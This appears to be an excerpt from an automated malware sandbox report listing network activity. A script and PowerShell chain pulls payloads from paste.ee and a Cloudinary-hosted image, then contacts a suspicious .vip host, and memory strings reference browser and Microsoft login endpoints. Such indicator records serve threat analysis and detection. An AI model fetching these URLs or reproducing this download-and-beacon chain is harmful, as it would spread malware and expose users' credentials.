
Source: global traffic	HTTP traffic detected: GET /d/69SP6 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: paste.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg HTTP/1.1Host: res.cloudinary.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /r/5zfAV/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /skhs/?q2gYNc=YYGtc0vZDxBZaqOUfK8EjJlrwUEGCmw9C1cdleHi+lzAM/tSLZDkT6oQFAP0CoyED8RVRESu2LRjuGrjAaGK14wgZjrklmy8P/7KZtR3AGJqubIGbQJuqGM=&i7g0=S7yiJ01bbdLMH HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Host: www.yxni.vipConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: paste.ee
Source: global traffic	DNS traffic detected: DNS query: res.cloudinary.com
Source: global traffic	DNS traffic detected: DNS query: www.yxni.vip

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 03 Dec 2024 09:06:01 GMTServer: Apache/2.4.54 (Win64) OpenSSL/1.1.1p mod_fcgid/2.3.9aContent-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Source: powershell.exe, 00000005.00000002.1963200942.0000028286DEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://paste.ee
Source: powershell.exe, 00000003.00000002.2278601121.00000176B8645000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: choice.exe, 0000000A.00000003.2388557028.0000000002D39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000003.00000002.2278601121.00000176B8678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000003.00000002.2278601121.00000176B8690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: wscript.exe, 00000000.00000002.2398543416.00000237612CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390641520.00000237612CC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389902837.00000237610B5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1963200942.00000282872F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee
Source: wscript.exe, 00000000.00000002.2398543416.00000237612CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390641520.00000237612CC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389902837.00000237610B5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1963200942.00000282872F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee;
Source: choice.exe, 0000000A.00000003.2388557028.0000000002D39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: wscript.exe, 00000000.00000002.2398543416.00000237612CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390641520.00000237612CC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389902837.00000237610B5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1963200942.00000282872F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com
Source: wscript.exe, 00000000.00000002.2398543416.00000237612CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390641520.00000237612CC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389902837.00000237610B5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1963200942.00000282872F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com;
Source: choice.exe, 0000000A.00000003.2388557028.0000000002D39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: choice.exe, 0000000A.00000003.2388557028.0000000002D39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: choice.exe, 0000000A.00000003.2388557028.0000000002D39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: choice.exe, 0000000A.00000003.2388557028.0000000002D39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: choice.exe, 0000000A.00000003.2388557028.0000000002D39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: wscript.exe, 00000000.00000002.2398543416.00000237612CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390641520.00000237612CC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389902837.00000237610B5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1963200942.00000282872F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com
Source: wscript.exe, 00000000.00000002.2398543416.00000237612CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390641520.00000237612CC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389902837.00000237610B5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1963200942.00000282872F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com;
Source: wscript.exe, 00000000.00000003.2389360512.000002375F174000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390620725.000002375F17C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2398310964.000002375F17E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: choice.exe, 0000000A.00000002.2951040411.0000000002CA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: choice.exe, 0000000A.00000002.2951040411.0000000002CA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: choice.exe, 0000000A.00000002.2951040411.0000000002CA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: choice.exe, 0000000A.00000002.2951040411.0000000002CA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=10339w
Source: choice.exe, 0000000A.00000002.2951040411.0000000002CA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: choice.exe, 0000000A.00000003.2377805989.0000000007B81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: wscript.exe, 00000000.00000003.2390482161.000002375F11F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2398084060.000002375F11F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390126097.000002375F11F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1963200942.0000028286DEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee
Source: wscript.exe, 00000000.00000003.2389360512.000002375F174000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390620725.000002375F17C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2398310964.000002375F17E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/
Source: wscript.exe, 00000000.00000002.2397950475.000002375F090000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/69
Source: wscript.exe, 00000000.00000003.2389360512.000002375F128000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2398163728.000002375F129000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389226631.000002375F123000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/69S
Source: wscript.exe, 00000000.00000003.2390482161.000002375F11F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2398084060.000002375F11F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390126097.000002375F11F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/69SP
Source: wscript.exe, wscript.exe, 00000000.00000003.2390482161.000002375F11F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2398084060.000002375F0C7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389360512.000002375F128000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390249837.000002375F0C6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2398231478.000002375F13D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389360512.000002375F174000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2398448310.000002375F245000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390620725.000002375F17C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389902837.00000237610B5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389626016.000002375F12E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2398084060.000002375F11F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389735443.000002375F13C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389226631.000002375F123000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2397654619.0000004DFD2F5000.00000004.00000010.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390126097.000002375F11F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2398521954.0000023760E80000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2398310964.000002375F17E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389647370.000002375F133000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/69SP6
Source: powershell.exe, 00000005.00000002.1963200942.0000028286DEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/r/5zfAV/0
Source: powershell.exe, 00000005.00000002.1963200942.0000028287319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg
Source: wscript.exe, 00000000.00000002.2398543416.00000237612CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390641520.00000237612CC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389902837.00000237610B5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1963200942.00000282872F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.gravatar.com
Source: wscript.exe, 00000000.00000002.2398543416.00000237612CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390641520.00000237612CC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389902837.00000237610B5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1963200942.00000282872F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://themes.googleusercontent.com
Source: choice.exe, 0000000A.00000003.2388557028.0000000002D39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: wscript.exe, 00000000.00000002.2398543416.00000237612CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390641520.00000237612CC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389902837.00000237610B5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1963200942.00000282872F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: choice.exe, 0000000A.00000003.2388557028.0000000002D39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: wscript.exe, 00000000.00000002.2398543416.00000237612CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390641520.00000237612CC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389902837.00000237610B5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1963200942.00000282872F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com;
Source: wscript.exe, 00000000.00000002.2398543416.00000237612CD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2390641520.00000237612CC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2389902837.00000237610B5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1963200942.00000282872F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
